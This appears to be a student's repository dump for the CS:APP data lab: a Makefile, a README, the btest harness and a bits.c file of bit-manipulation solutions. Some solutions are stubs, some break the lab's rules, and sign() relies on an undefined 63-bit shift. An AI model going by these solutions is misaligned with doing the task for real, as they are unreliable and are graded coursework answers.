48 | program work well in 64-bits Ubuntu. But if you set
49 | the second parameter bigger than 12 (like 13,18,1000),
50 | you would destroy the %rbp register's value in this
51 | program and you will see "core dump" when you run it.
52 |
53 | */
54 | fillArray(array, 10);
55 |
56 | int value;
57 | //
58 | // TODO(2): We can actually use the address of the value
59 | // declared here as if it were an array of a single
60 | // element; why is this possible?
61 |
62 | /* Answer by Jason Leaster:
63 |
64 | For this problem, what I want to
65 | say is that "God save me, it just a feature of C".
66 | */
67 | fillArray(&value, 1);
68 | assert(value == 2);
69 |
70 | FourInts four_ints;
71 | four_ints.a = 0;
72 | assert(four_ints.a == 0);
73 |
74 | fillArray((int*) &four_ints, 4);
75 | assert(four_ints.a == 2);
76 | assert(four_ints.b == 5);
77 | assert(four_ints.c == 8);
78 | assert(four_ints.d == 11);
79 |
80 | int* heap_array = (int*) malloc(sizeof(int) * 5);
81 | fillArray(heap_array, 5);
82 |
83 | // TODO(3): What happens if we remove the free()
84 | // statement below? Try running "valgrind ./arrays"
85 | // after compiling the program both with and without
86 | // it. valgrind is a tool for analyzing how programs
87 | // use memory, which is often invaluable for C and
88 | // C++ programming.
89 |
90 | /* Answer by Jason Leaster:
91 | I will show a figure which is
92 | in my blog to describe what would happen, if
93 | we remove the free() statement below.
94 | */
95 | free(heap_array);
96 |
97 | // TODO(4): Now it's your turn to write some code.
98 | // Using malloc(), allocate a FourInts struct
99 | // dynamically (on the heap) and use fillArray to
100 | // populate it with values. The sizeof function can
101 | // be used on any data type. Make sure to free the
102 | // memory when you are done, and use the valgrind
103 | // tool mentioned above to check that there aren't
104 | // any errors. As a "sanity check," add four assert
105 | // statements to verify that the a, b, c, and d
106 | // fields of the FourInts struct are set to what
107 | // you would expect. (Hint, since you will have a
108 | // pointer to a FourInts struct you will need to
109 | // use the -> operator to access fields of a
110 | // FourInts* variable instead of the . operator
111 | // we used on the FourInts above. ptr->a is
112 | // equivalent to (*ptr).a . Note the difference
113 | // between FourInts and FourInts*.)
114 |
115 | /*
116 | Answer for TODO(4) by jasonleaster:
117 |
118 | It is too easy for a C programmer.
119 | I have to say sorry about someone who can't
120 | use malloc() and free() correctly.
121 |
122 | I don't want to demo for someone how to use
123 | free() and malloc().
124 |
125 | Nice trip. :)
126 | */
127 | return 0;
128 | }
129 |
--------------------------------------------------------------------------------
/lab1.tar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab1.tar
--------------------------------------------------------------------------------
/lab1/Makefile:
--------------------------------------------------------------------------------
1 | #
2 | # Makefile that builds btest and other helper programs for the CS:APP data lab
3 | #
4 | CC = gcc
5 | CFLAGS = -O -Wall -m64 -g
6 | LIBS = -lm
7 |
8 | all: btest fshow ishow ptest
9 |
10 | btest: btest.c bits.c decl.c tests.c btest.h bits.h
11 | $(CC) $(CFLAGS) $(LIBS) -o btest bits.c btest.c decl.c tests.c
12 |
13 | fshow: fshow.c
14 | $(CC) $(CFLAGS) -o fshow fshow.c
15 |
16 | ishow: ishow.c
17 | $(CC) $(CFLAGS) -o ishow ishow.c
18 |
19 | ptest: ptest.c pointer.c
20 | $(CC) $(CFLAGS) -Wno-unused-variable -o ptest ptest.c pointer.c
21 |
22 | # Forces a recompile. Used by the driver program.
23 | btestexplicit:
24 | $(CC) $(CFLAGS) $(LIBS) -o btest bits.c btest.c decl.c tests.c
25 |
26 | clean:
27 | rm -f *.o btest fshow ishow ptest *~
28 |
29 | test: btest ptest
30 | ./btest
31 | ./ptest
32 |
33 |
--------------------------------------------------------------------------------
/lab1/README:
--------------------------------------------------------------------------------
1 | ***********************
2 | The CS:APP Data Lab
3 | Directions to Students
4 | ***********************
5 |
6 | Your goal is to modify your copy of bits.c so that it passes all the
7 | tests in btest without violating any of the coding guidelines.
8 |
9 |
10 | *********
11 | 0. Files:
12 | *********
13 |
14 | Makefile - Makes btest, fshow, and ishow
15 | README - This file
16 | bits.c - The file you will be modifying and handing in
17 | bits.h - Header file
18 | btest.c - The main btest program
19 | btest.h - Used to build btest
20 | decl.c - Used to build btest
21 | tests.c - Used to build btest
22 | tests-header.c- Used to build btest
23 | dlc* - Rule checking compiler binary (data lab compiler)
24 | driver.pl* - Driver program that uses btest and dlc to autograde bits.c
25 | fshow.c - Utility for examining floating-point representations
26 | ishow.c - Utility for examining integer representations
27 |
28 | ***********************************************************
29 | 1. Modifying bits.c and checking it for compliance with dlc
30 | ***********************************************************
31 |
32 | IMPORTANT: Carefully read the instructions in the bits.c file before
33 | you start. These give the coding rules that you will need to follow if
34 | you want full credit.
35 |
36 | Use the dlc compiler (./dlc) to automatically check your version of
37 | bits.c for compliance with the coding guidelines:
38 |
39 | unix> ./dlc bits.c
40 |
41 | dlc returns silently if there are no problems with your code.
42 | Otherwise it prints messages that flag any problems. Running dlc with
43 | the -e switch:
44 |
45 | unix> ./dlc -e bits.c
46 |
47 | causes dlc to print counts of the number of operators used by each function.
48 |
49 | Once you have a legal solution, you can test it for correctness using
50 | the ./btest program.
51 |
52 | *********************
53 | 2. Testing with btest
54 | *********************
55 |
56 | The Makefile in this directory compiles your version of bits.c with
57 | additional code to create a program (or test harness) named btest.
58 |
59 | To compile and run the btest program, type:
60 |
61 | unix> make btest
62 | unix> ./btest [optional cmd line args]
63 |
64 | You will need to recompile btest each time you change your bits.c
65 | program. When moving from one platform to another, you will want to
66 | get rid of the old version of btest and generate a new one. Use the
67 | commands:
68 |
69 | unix> make clean
70 | unix> make btest
71 |
72 | Btest tests your code for correctness by running millions of test
73 | cases on each function. It tests wide swaths around well known corner
74 | cases such as Tmin and zero for integer puzzles, and zero, inf, and
75 | the boundary between denormalized and normalized numbers for floating
76 | point puzzles. When btest detects an error in one of your functions,
77 | it prints out the test that failed, the incorrect result, and the
78 | expected result, and then terminates the testing for that function.
79 |
80 | Here are the command line options for btest:
81 |
82 | unix> ./btest -h
83 | Usage: ./btest [-hg] [-r ] [-f [-1|-2|-3 ]*] [-T ]
84 | -1 Specify first function argument
85 | -2 Specify second function argument
86 | -3 Specify third function argument
87 | -f Test only the named function
88 | -g Format output for autograding with no error messages
89 | -h Print this message
90 | -r Give uniform weight of n for all problems
91 | -T Set timeout limit to lim
92 |
93 | Examples:
94 |
95 | Test all functions for correctness and print out error messages:
96 | unix> ./btest
97 |
98 | Test all functions in a compact form with no error messages:
99 | unix> ./btest -g
100 |
101 | Test function foo for correctness:
102 | unix> ./btest -f foo
103 |
104 | Test function foo for correctness with specific arguments:
105 | unix> ./btest -f foo -1 27 -2 0xf
106 |
107 | Btest does not check your code for compliance with the coding
108 | guidelines. Use dlc to do that.
109 |
110 | *******************
111 | 3. Helper Programs
112 | *******************
113 |
114 | We have included the ishow and fshow programs to help you decipher
115 | integer and floating point representations respectively. Each takes a
116 | single decimal or hex number as an argument. To build them type:
117 |
118 | unix> make
119 |
120 | Example usages:
121 |
122 | unix> ./ishow 0x27
123 | Hex = 0x00000027, Signed = 39, Unsigned = 39
124 |
125 | unix> ./ishow 27
126 | Hex = 0x0000001b, Signed = 27, Unsigned = 27
127 |
128 | unix> ./fshow 0x15213243
129 | Floating point value 3.255334057e-26
130 | Bit Representation 0x15213243, sign = 0, exponent = 0x2a, fraction = 0x213243
131 | Normalized. +1.2593463659 X 2^(-85)
132 |
133 | linux> ./fshow 15213243
134 | Floating point value 2.131829405e-38
135 | Bit Representation 0x00e822bb, sign = 0, exponent = 0x01, fraction = 0x6822bb
136 | Normalized. +1.8135598898 X 2^(-126)
137 |
138 |
139 |
140 |
--------------------------------------------------------------------------------
/lab1/bits.c:
--------------------------------------------------------------------------------
1 | /*
2 | * CSE 351 HW1 (Data Lab )
3 | *
4 | *
5 | *
6 | * bits.c - Source file with your solutions to the Lab.
7 | * This is the file you will hand in to your instructor.
8 | *
9 | * WARNING: Do not include the header; it confuses the dlc
10 | * compiler. You can still use printf for debugging without including
11 | * , although you might get a compiler warning. In general,
12 | * it's not good practice to ignore compiler warnings, but in this
13 | * case it's OK.
14 | */
15 |
16 | #if 0
17 | /*
18 | * Instructions to Students:
19 | *
20 | * STEP 1: Read the following instructions carefully.
21 | */
22 |
23 | You will provide your solution to this homework by
24 | editing the collection of functions in this source file.
25 |
26 | INTEGER CODING RULES:
27 |
28 | Replace the "return" statement in each function with one
29 | or more lines of C code that implements the function. Your code
30 | must conform to the following style:
31 |
32 | int Funct(arg1, arg2, ...) {
33 | /* brief description of how your implementation works */
34 | int var1 = Expr1;
35 | ...
36 | int varM = ExprM;
37 |
38 | varJ = ExprJ;
39 | ...
40 | varN = ExprN;
41 | return ExprR;
42 | }
43 |
44 | Each "Expr" is an expression using ONLY the following:
45 | 1. Integer constants 0 through 255 (0xFF), inclusive. You are
46 | not allowed to use big constants such as 0xffffffff.
47 | 2. Function arguments and local variables (no global variables).
48 | 3. Unary integer operations ! ~
49 | 4. Binary integer operations & ^ | + << >>
50 |
51 | Some of the problems restrict the set of allowed operators even further.
52 | Each "Expr" may consist of multiple operators. You are not restricted to
53 | one operator per line.
54 |
55 | You are expressly forbidden to:
56 | 1. Use any control constructs such as if, do, while, for, switch, etc.
57 | 2. Define or use any macros.
58 | 3. Define any additional functions in this file.
59 | 4. Call any functions.
60 | 5. Use any other operations, such as &&, ||, -, or ?:
61 | 6. Use any form of casting.
62 | 7. Use any data type other than int. This implies that you
63 | cannot use arrays, structs, or unions.
64 |
65 |
66 | You may assume that your machine:
67 | 1. Uses 2s complement, 32-bit representations of integers.
68 | 2. Performs right shifts arithmetically.
69 | 3. Has unpredictable behavior when shifting an integer by more
70 | than the word size.
71 |
72 | EXAMPLES OF ACCEPTABLE CODING STYLE:
73 | /*
74 | * pow2plus1 - returns 2^x + 1, where 0 <= x <= 31
75 | */
76 | int pow2plus1(int x) {
77 | /* exploit ability of shifts to compute powers of 2 */
78 | return (1 << x) + 1;
79 | }
80 |
81 | /*
82 | * pow2plus4 - returns 2^x + 4, where 0 <= x <= 31
83 | */
84 | int pow2plus4(int x) {
85 | /* exploit ability of shifts to compute powers of 2 */
86 | int result = (1 << x);
87 | result += 4;
88 | return result;
89 | }
90 |
91 | FLOATING POINT CODING RULES
92 |
93 | For the problems that require you to implent floating-point operations,
94 | the coding rules are less strict. You are allowed to use looping and
95 | conditional control. You are allowed to use both ints and unsigneds.
96 | You can use arbitrary integer and unsigned constants.
97 |
98 | You are expressly forbidden to:
99 | 1. Define or use any macros.
100 | 2. Define any additional functions in this file.
101 | 3. Call any functions.
102 | 4. Use any form of casting.
103 | 5. Use any data type other than int or unsigned. This means that you
104 | cannot use arrays, structs, or unions.
105 | 6. Use any floating point data types, operations, or constants.
106 |
107 |
108 | NOTES:
109 | 1. Use the dlc (data lab checker) compiler (described in the handout) to
110 | check the legality of your solutions.
111 | 2. Each function has a maximum number of operators (! ~ & ^ | + << >>)
112 | that you are allowed to use for your implementation of the function.
113 | The max operator count is checked by dlc. Note that '=' is not
114 | counted; you may use as many of these as you want without penalty.
115 | 3. Use the btest test harness to check your functions for correctness.
116 | 4. Use the BDD checker to formally verify your functions
117 | 5. The maximum number of ops for each function is given in the
118 | header comment for each function. If there are any inconsistencies
119 | between the maximum ops in the writeup and in this file, consider
120 | this file the authoritative source.
121 |
122 | /*
123 | * STEP 2: Modify the following functions according the coding rules.
124 | *
125 | * IMPORTANT. TO AVOID GRADING SURPRISES:
126 | * 1. Use the dlc compiler to check that your solutions conform
127 | * to the coding rules.
128 | * 2. Use the BDD checker to formally verify that your solutions produce
129 | * the correct answers.
130 | */
131 |
132 |
133 | #endif
134 | // Rating: 1
135 | /*
136 | * bitAnd - x&y using only ~ and |
137 | * Example: bitAnd(6, 5) = 4
138 | * Legal ops: ~ |
139 | * Max ops: 8
140 | * Rating: 1
141 | */
142 | int bitAnd(int x, int y) {
143 | return ~((~x) | (~y));
144 | }
145 | /*
146 | * bitXor - x^y using only ~ and &
147 | * Example: bitXor(4, 5) = 1
148 | * Legal ops: ~ &
149 | * Max ops: 14
150 | * Rating: 1
151 | */
152 | int bitXor(int x, int y) {
153 | return ~((~ (x & (~y))) & (~((~x)&y)) );
154 | }
155 | /*
156 | * thirdBits - return word with every third bit (starting from the LSB) set to 1
157 | * Legal ops: ! ~ & ^ | + << >>
158 | * Max ops: 8
159 | * Rating: 1
160 | */
161 | int thirdBits(void) {
162 | int ret = 0x24;
163 | ret = ret + (ret << 6);
164 | ret = ret + (ret << 12);
165 | ret = ret + (ret << 24);
166 | return (ret << 1) + 1;
167 | }
168 | // Rating: 2
169 | /*
170 | * fitsBits - return 1 if x can be represented as an
171 | * n-bit, two's complement integer.
172 | * 1 <= n <= 32
173 | * Examples: fitsBits(5,3) = 0, fitsBits(-4,3) = 1
174 | * Legal ops: ! ~ & ^ | + << >>
175 | * Max ops: 15
176 | * Rating: 2
177 | */
178 | int fitsBits(int x, int n) {
179 | int shift = (~n + 1);
180 | int num = (x << shift) >> shift;
181 | int result = !(num ^ x);
182 | return result;
183 | }
184 | /*
185 | * sign - return 1 if positive, 0 if zero, and -1 if negative
186 | * Examples: sign(130) = 1
187 | * sign(-23) = -1
188 | * Legal ops: ! ~ & ^ | + << >>
189 | * Max ops: 10
190 | * Rating: 2
191 | */
192 | int sign(int x) {
193 | return (x>>63)|(!!x);
194 | }
195 | /*
196 | * getByte - Extract byte n from word x
197 | * Bytes numbered from 0 (LSB) to 3 (MSB)
198 | * Examples: getByte(0x12345678,1) = 0x56
199 | * Legal ops: ! ~ & ^ | + << >>
200 | * Max ops: 6
201 | * Rating: 2
202 | */
203 | int getByte(int x, int n) {
204 | return (x>>(n<<3)) & 0xFF;
205 | }
206 | // Rating: 3
207 | /*
208 | * logicalShift - shift x to the right by n, using a logical shift
209 | * Can assume that 0 <= n <= 31
210 | * Examples: logicalShift(0x87654321,4) = 0x08765432
211 | * Legal ops: ~ & ^ | + << >>
212 | * Max ops: 20
213 | * Rating: 3
214 | */
215 | int logicalShift(int x, int n) {
216 | return (int)((unsigned int)x >> n);
217 | }
218 | /*
219 | * addOK - Determine if can compute x+y without overflow
220 | * Example: addOK(0x80000000,0x80000000) = 0,
221 | * addOK(0x80000000,0x70000000) = 1,
222 | * Legal ops: ! ~ & ^ | + << >>
223 | * Max ops: 20
224 | * Rating: 3
225 | */
226 | int addOK(int x, int y) {
227 | int sum = x + y;
228 | int neg_over = (x>>31& 0x1) & (y>>31 & 0x1) & (!(sum>>31 & 0x1));
229 | int pos_over = (!(x>>31& 0x1)) & (!(y>>31 & 0x1)) & ((sum>>31 & 0x1));
230 | return (! neg_over) & (!pos_over);
231 | }
232 | /* invert - Return x with the n bits that begin at position p inverted
233 | * (i.e., turn 0 into 1 and vice versa) and the rest left
234 | * unchanged. Consider the indices of x to begin with the low-order
235 | * bit numbered as 0.
236 | * Example: invert(0x80000000, 0, 1) = 0x80000001,
237 | * invert(0x0000008e, 3, 3) = 0x000000b6,
238 | * Legal ops: ! ~ & ^ | + << >>
239 | * Max ops: 20
240 | * Rating: 3
241 | */
242 | int invert(int x, int p, int n) {
243 | return 2;
244 | }
245 | // Rating: 4
246 | /*
247 | * bang - Compute !x without using !
248 | * Examples: bang(3) = 0, bang(0) = 1
249 | * Legal ops: ~ & ^ | + << >>
250 | * Max ops: 12
251 | * Rating: 4
252 | */
253 | int bang(int x) {
254 | int x1 = x | (x >> 16);
255 | int x2 = x1 | (x1 >> 8);
256 | int x3 = x2 | (x2 >> 4);
257 | int x4 = x3 | (x3 >> 2);
258 | int x5 = x4 | (x4 >> 1);
259 | return (~x5 & 0x1);
260 | }
261 | // Extra Credit: Rating: 3
262 | /*
263 | * conditional - same as x ? y : z
264 | * Example: conditional(2,4,5) = 4
265 | * Legal ops: ! ~ & ^ | + << >>
266 | * Max ops: 16
267 | * Rating: 3
268 | */
269 | int conditional(int x, int y, int z) {
270 | int ans = ((((!!x)<<31)>>31) & y) + ((((!x)<<31)>>31) &z);
271 | return ans;
272 | }
273 | // Extra Credit: Rating: 4
274 | /*
275 | * isPower2 - returns 1 if x is a power of 2, and 0 otherwise
276 | * Examples: isPower2(5) = 0, isPower2(8) = 1, isPower2(0) = 0
277 | * Note that no negative number is a power of 2.
278 | * Legal ops: ! ~ & ^ | + << >>
279 | * Max ops: 20
280 | * Rating: 4
281 | */
282 | int isPower2(int x) {
283 | return 2;
284 | }
285 |
--------------------------------------------------------------------------------
/lab1/bits.h:
--------------------------------------------------------------------------------
1 | // Rating: 1
2 | int bitAnd(int, int);
3 | int test_bitAnd(int, int);
4 | int bitXor(int, int);
5 | int test_bitXor(int, int);
6 | int thirdBits();
7 | int test_thirdBits();
8 | // Rating: 2
9 | int fitsBits(int, int);
10 | int test_fitsBits(int, int);
11 | int sign(int);
12 | int test_sign(int);
13 | int getByte(int, int);
14 | int test_getByte(int, int);
15 | // Rating: 3
16 | int logicalShift(int, int);
17 | int test_logicalShift(int, int);
18 | int addOK(int, int);
19 | int test_addOK(int, int);
20 | int invert(int, int, int);
21 | int test_invert(int, int, int);
22 | // Rating: 4
23 | int bang(int);
24 | int test_bang(int);
25 | // Extra Credit: Rating: 3
26 | int conditional(int, int, int);
27 | int test_conditional(int, int, int);
28 | // Extra Credit: Rating: 4
29 | int isPower2(int);
30 | int test_isPower2(int);
31 |
--------------------------------------------------------------------------------
/lab1/btest:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jasonleaster/CSAPP/c593c50d1304678b71e98e1f4b3412ee595bbcd0/lab1/btest
--------------------------------------------------------------------------------
/lab1/btest.c:
--------------------------------------------------------------------------------
1 | /*
2 | * CS:APP Data Lab
3 | *
4 | * btest.c - A test harness that checks a student's solution in bits.c
5 | * for correctness.
6 | *
7 | * Copyright (c) 2001-2011, R. Bryant and D. O'Hallaron, All rights
8 | * reserved. May not be used, modified, or copied without permission.
9 | *
10 | * This is an improved version of btest that tests large windows
11 | * around zero and tmin and tmax for integer puzzles, and zero, norm,
12 | * and denorm boundaries for floating point puzzles.
13 | *
14 | * Note: not 64-bit safe. Always compile with gcc -m32 option.
15 | */
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include "btest.h"
25 |
26 | /* Not declared in some stdlib.h files, so define here */
27 | float strtof(const char *nptr, char **endptr);
28 |
29 | /*************************
30 | * Configuration Constants
31 | *************************/
32 |
33 | /* Handle infinite loops by setting upper limit on execution time, in
34 | seconds */
35 | //#define TIMEOUT_LIMIT 10
36 | #define TIMEOUT_LIMIT 1000
37 |
38 | /* For functions with a single argument, generate TEST_RANGE values
39 | above and below the min and max test values, and above and below
40 | zero. Functions with two or three args will use square and cube
41 | roots of this value, respectively, to avoid combinatorial
42 | explosion */
43 | #define TEST_RANGE 500000
44 |
45 | /* This defines the maximum size of any test value array. The
46 | gen_vals() routine creates k test values for each value of
47 | TEST_RANGE, thus MAX_TEST_VALS must be at least k*TEST_RANGE */
48 | #define MAX_TEST_VALS 13*TEST_RANGE
49 |
50 | /**********************************
51 | * Globals defined in other modules
52 | **********************************/
53 | /* This characterizes the set of puzzles to test.
54 | Defined in decl.c and generated from templates in ./puzzles dir */
55 | extern test_rec test_set[];
56 |
57 | /************************************************
58 | * Write-once globals defined by command line args
59 | ************************************************/
60 |
61 | /* Emit results in a format for autograding, without showing
62 | and counter-examples */
63 | static int grade = 0;
64 |
65 | /* Time out after this number of seconds */
66 | static int timeout_limit = TIMEOUT_LIMIT; /* -T */
67 |
68 | /* If non-NULL, test only one function (-f) */
69 | static char* test_fname = NULL;
70 |
71 | /* Special case when only use fixed argument(s) (-1, -2, or -3) */
72 | static int has_arg[3] = {0,0,0};
73 | static unsigned argval[3] = {0,0,0};
74 |
75 | /* Use fixed weight for rating, and if so, what should it be? (-r) */
76 | static int global_rating = 0;
77 |
78 | /******************
79 | * Helper functions
80 | ******************/
81 |
82 | /*
83 | * Signal - installs a signal handler
84 | */
85 | typedef void handler_t(int);
86 |
87 | handler_t *Signal(int signum, handler_t *handler)
88 | {
89 | struct sigaction action, old_action;
90 |
91 | action.sa_handler = handler;
92 | sigemptyset(&action.sa_mask); /* block sigs of type being handled */
93 | action.sa_flags = SA_RESTART; /* restart syscalls if possible */
94 |
95 | if (sigaction(signum, &action, &old_action) < 0)
96 | perror("Signal error");
97 | return (old_action.sa_handler);
98 | }
99 |
100 | /*
101 | * timeout_handler - SIGALARM hander
102 | */
103 | sigjmp_buf envbuf;
104 | void timeout_handler(int sig) {
105 | siglongjmp(envbuf, 1);
106 | }
107 |
108 | /*
109 | * random_val - Return random integer value between min and max
110 | */
111 | static int random_val(int min, int max)
112 | {
113 | double weight = rand()/(double) RAND_MAX;
114 | int result = min * (1-weight) + max * weight;
115 | return result;
116 | }
117 |
118 | /*
119 | * gen_vals - Generate the integer values we'll use to test a function
120 | */
121 | static int gen_vals(int test_vals[], int min, int max, int test_range, int arg)
122 | {
123 | int i;
124 | int test_count = 0;
125 |
126 | /* Special case: If the user has specified a specific function
127 | argument using the -1, -2, or -3 flags, then simply use this
128 | argument and return */
129 | if (has_arg[arg]) {
130 | test_vals[0] = argval[arg];
131 | return 1;
132 | }
133 |
134 | /*
135 | * Special case: Generate test vals for floating point functions
136 | * where the input argument is an unsigned bit-level
137 | * representation of a float. For this case we want to test the
138 | * regions around zero, the smallest normalized and largest
139 | * denormalized numbers, one, and the largest normalized number,
140 | * as well as inf and nan.
141 | */
142 | if ((min == 1 && max == 1)) {
143 | unsigned smallest_norm = 0x00800000;
144 | unsigned one = 0x3f800000;
145 | unsigned largest_norm = 0x7f000000;
146 |
147 | unsigned inf = 0x7f800000;
148 | unsigned nan = 0x7fc0000;
149 | unsigned sign = 0x80000000;
150 |
151 | /* Test range should be at most 1/2 the range of one exponent
152 | value */
153 | if (test_range > (1 << 23)) {
154 | test_range = 1 << 23;
155 | }
156 |
157 | /* Functions where the input argument is an unsigned bit-level
158 | representation of a float. The number of tests generated
159 | inside this loop body is the value k referenced in the
160 | comment for the global variable MAX_TEST_VALS. */
161 |
162 | for (i = 0; i < test_range; i++) {
163 | /* Denorms around zero */
164 | test_vals[test_count++] = i;
165 | test_vals[test_count++] = sign | i;
166 |
167 | /* Region around norm to denorm transition */
168 | test_vals[test_count++] = smallest_norm + i;
169 | test_vals[test_count++] = smallest_norm - i;
170 | test_vals[test_count++] = sign | (smallest_norm + i);
171 | test_vals[test_count++] = sign | (smallest_norm - i);
172 |
173 | /* Region around one */
174 | test_vals[test_count++] = one + i;
175 | test_vals[test_count++] = one - i;
176 | test_vals[test_count++] = sign | (one + i);
177 | test_vals[test_count++] = sign | (one - i);
178 |
179 | /* Region below largest norm */
180 | test_vals[test_count++] = largest_norm - i;
181 | test_vals[test_count++] = sign | (largest_norm - i);
182 | }
183 |
184 | /* special vals */
185 | test_vals[test_count++] = inf; /* inf */
186 | test_vals[test_count++] = sign | inf; /* -inf */
187 | test_vals[test_count++] = nan; /* nan */
188 | test_vals[test_count++] = sign | nan; /* -nan */
189 |
190 | return test_count;
191 | }
192 |
193 |
194 | /*
195 | * Normal case: Generate test vals for integer functions
196 | */
197 |
198 | /* If the range is small enough, then do exhaustively */
199 | if (max - MAX_TEST_VALS <= min) {
200 | for (i = min; i <= max; i++)
201 | test_vals[test_count++] = i;
202 | return test_count;
203 | }
204 |
205 | /* Otherwise, need to sample. Do so near the boundaries, around
206 | zero, and for some random cases. */
207 | for (i = 0; i < test_range; i++) {
208 |
209 | /* Test around the boundaries */
210 | test_vals[test_count++] = min + i;
211 | test_vals[test_count++] = max - i;
212 |
213 | /* If zero falls between min and max, then also test around zero */
214 | if (i >= min && i <= max)
215 | test_vals[test_count++] = i;
216 | if (-i >= min && -i <= max)
217 | test_vals[test_count++] = -i;
218 |
219 | /* Random case between min and max */
220 | test_vals[test_count++] = random_val(min, max);
221 |
222 | }
223 | return test_count;
224 | }
225 |
226 | /*
227 | * test_0_arg - Test a function with zero arguments
228 | */
229 | static int test_0_arg(funct_t f, funct_t ft, char *name)
230 | {
231 | int r = f();
232 | int rt = ft();
233 | int error = (r != rt);
234 |
235 | if (error && !grade)
236 | printf("ERROR: Test %s() failed...\n...Gives %d[0x%x]. Should be %d[0x%x]\n", name, r, r, rt, rt);
237 |
238 | return error;
239 | }
240 |
241 | /*
242 | * test_1_arg - Test a function with one argument
243 | */
244 | static int test_1_arg(funct_t f, funct_t ft, int arg1, char *name)
245 | {
246 | funct1_t f1 = (funct1_t) f;
247 | funct1_t f1t = (funct1_t) ft;
248 | int r, rt, error;
249 |
250 | r = f1(arg1);
251 | rt = f1t(arg1);
252 | error = (r != rt);
253 | if (error && !grade)
254 | printf("ERROR: Test %s(%d[0x%x]) failed...\n...Gives %d[0x%x]. Should be %d[0x%x]\n", name, arg1, arg1, r, r, rt, rt);
255 |
256 | return error;
257 | }
258 |
259 | /*
260 | * test_2_arg - Test a function with two arguments
261 | */
262 | static int test_2_arg(funct_t f, funct_t ft, int arg1, int arg2, char *name)
263 | {
264 | funct2_t f2 = (funct2_t) f;
265 | funct2_t f2t = (funct2_t) ft;
266 | int r = f2(arg1, arg2);
267 | int rt = f2t(arg1, arg2);
268 | int error = (r != rt);
269 |
270 | if (error && !grade)
271 | printf("ERROR: Test %s(%d[0x%x],%d[0x%x]) failed...\n...Gives %d[0x%x]. Should be %d[0x%x]\n", name, arg1, arg1, arg2, arg2, r, r, rt, rt);
272 |
273 | return error;
274 | }
275 |
276 | /*
277 | * test_3_arg - Test a function with three arguments
278 | */
279 | static int test_3_arg(funct_t f, funct_t ft,
280 | int arg1, int arg2, int arg3, char *name)
281 | {
282 | funct3_t f3 = (funct3_t) f;
283 | funct3_t f3t = (funct3_t) ft;
284 | int r = f3(arg1, arg2, arg3);
285 | int rt = f3t(arg1, arg2, arg3);
286 | int error = (r != rt);
287 |
288 | if (error && !grade)
289 | printf("ERROR: Test %s(%d[0x%x],%d[0x%x],%d[0x%x]) failed...\n...Gives %d[0x%x]. Should be %d[0x%x]\n", name, arg1, arg1, arg2, arg2, arg3, arg3, r, r, rt, rt);
290 |
291 | return error;
292 | }
293 |
294 | /*
295 | * test_function - Test a function. Return number of errors
296 | */
297 | static int test_function(test_ptr t) {
298 | int test_counts[3]; /* number of test values for each arg */
299 | int args = t->args; /* number of function arguments */
300 | int arg_test_range[3]; /* test range for each argument */
301 | int i, a1, a2, a3;
302 | int errors = 0;
303 |
304 | /* These are the test values for each arg. Declared with the
305 | static attribute so that the array will be allocated in bss
306 | rather than the stack */
307 | static int arg_test_vals[3][MAX_TEST_VALS];
308 |
309 | /* Sanity check on the number of args */
310 | if (args < 0 || args > 3) {
311 | printf("Configuration error: invalid number of args (%d) for function %s\n", args, t->name);
312 | exit(1);
313 | }
314 |
315 | /* Assign range of argument test vals so as to conserve the total
316 | number of tests, independent of the number of arguments */
317 | if (args == 1) {
318 | arg_test_range[0] = TEST_RANGE;
319 | }
320 | else if (args == 2) {
321 | arg_test_range[0] = pow((double)TEST_RANGE, 0.5); /* sqrt */
322 | arg_test_range[1] = arg_test_range[0];
323 | }
324 | else {
325 | arg_test_range[0] = pow((double)TEST_RANGE, 0.333); /* cbrt */
326 | arg_test_range[1] = arg_test_range[0];
327 | arg_test_range[2] = arg_test_range[0];
328 | }
329 |
330 | /* Sanity check on the ranges */
331 | if (arg_test_range[0] < 1)
332 | arg_test_range[0] = 1;
333 | if (arg_test_range[1] < 1)
334 | arg_test_range[1] = 1;
335 | if (arg_test_range[2] < 1)
336 | arg_test_range[2] = 1;
337 |
338 | /* Create a test set for each argument */
339 | for (i = 0; i < args; i++) {
340 | test_counts[i] = gen_vals(arg_test_vals[i],
341 | t->arg_ranges[i][0], /* min */
342 | t->arg_ranges[i][1], /* max */
343 | arg_test_range[i],
344 | i);
345 |
346 | }
347 |
348 | /* Handle timeouts in the test code */
349 | if (timeout_limit > 0) {
350 | int rc;
351 | rc = sigsetjmp(envbuf, 1);
352 | if (rc) {
353 | /* control will reach here if there is a timeout */
354 | errors = 1;
355 | printf("ERROR: Test %s failed.\n Timed out after %d secs (probably infinite loop)\n", t->name, timeout_limit);
356 | return errors;
357 | }
358 | alarm(timeout_limit);
359 | }
360 |
361 |
362 | /* Test function has no arguments */
363 | if (args == 0) {
364 | errors += test_0_arg(t->solution_funct, t->test_funct, t->name);
365 | return errors;
366 | }
367 |
368 | /*
369 | * Test function has at least one argument
370 | */
371 |
372 | /* Iterate over the values for first argument */
373 |
374 | for (a1 = 0; a1 < test_counts[0]; a1++) {
375 | if (args == 1) {
376 | errors += test_1_arg(t->solution_funct,
377 | t->test_funct,
378 | arg_test_vals[0][a1],
379 | t->name);
380 |
381 | /* Stop testing if there is an error */
382 | if (errors)
383 | return errors;
384 | }
385 | else {
386 | /* if necessary, iterate over values for second argument */
387 | for (a2 = 0; a2 < test_counts[1]; a2++) {
388 | if (args == 2) {
389 | errors += test_2_arg(t->solution_funct,
390 | t->test_funct,
391 | arg_test_vals[0][a1],
392 | arg_test_vals[1][a2],
393 | t->name);
394 |
395 | /* Stop testing if there is an error */
396 | if (errors)
397 | return errors;
398 | }
399 | else {
400 | /* if necessary, iterate over vals for third arg */
401 | for (a3 = 0; a3 < test_counts[2]; a3++) {
402 | errors += test_3_arg(t->solution_funct,
403 | t->test_funct,
404 | arg_test_vals[0][a1],
405 | arg_test_vals[1][a2],
406 | arg_test_vals[2][a3],
407 | t->name);
408 |
409 | /* Stop testing if there is an error */
410 | if (errors)
411 | return errors;
412 | } /* a3 */
413 | }
414 | } /* a2 */
415 | }
416 | } /* a1 */
417 |
418 |
419 | return errors;
420 | }
421 |
422 | /*
423 | * run_tests - Run series of tests. Return number of errors
424 | */
425 | static int run_tests()
426 | {
427 | int i;
428 | int errors = 0;
429 | double points = 0.0;
430 | double max_points = 0.0;
431 |
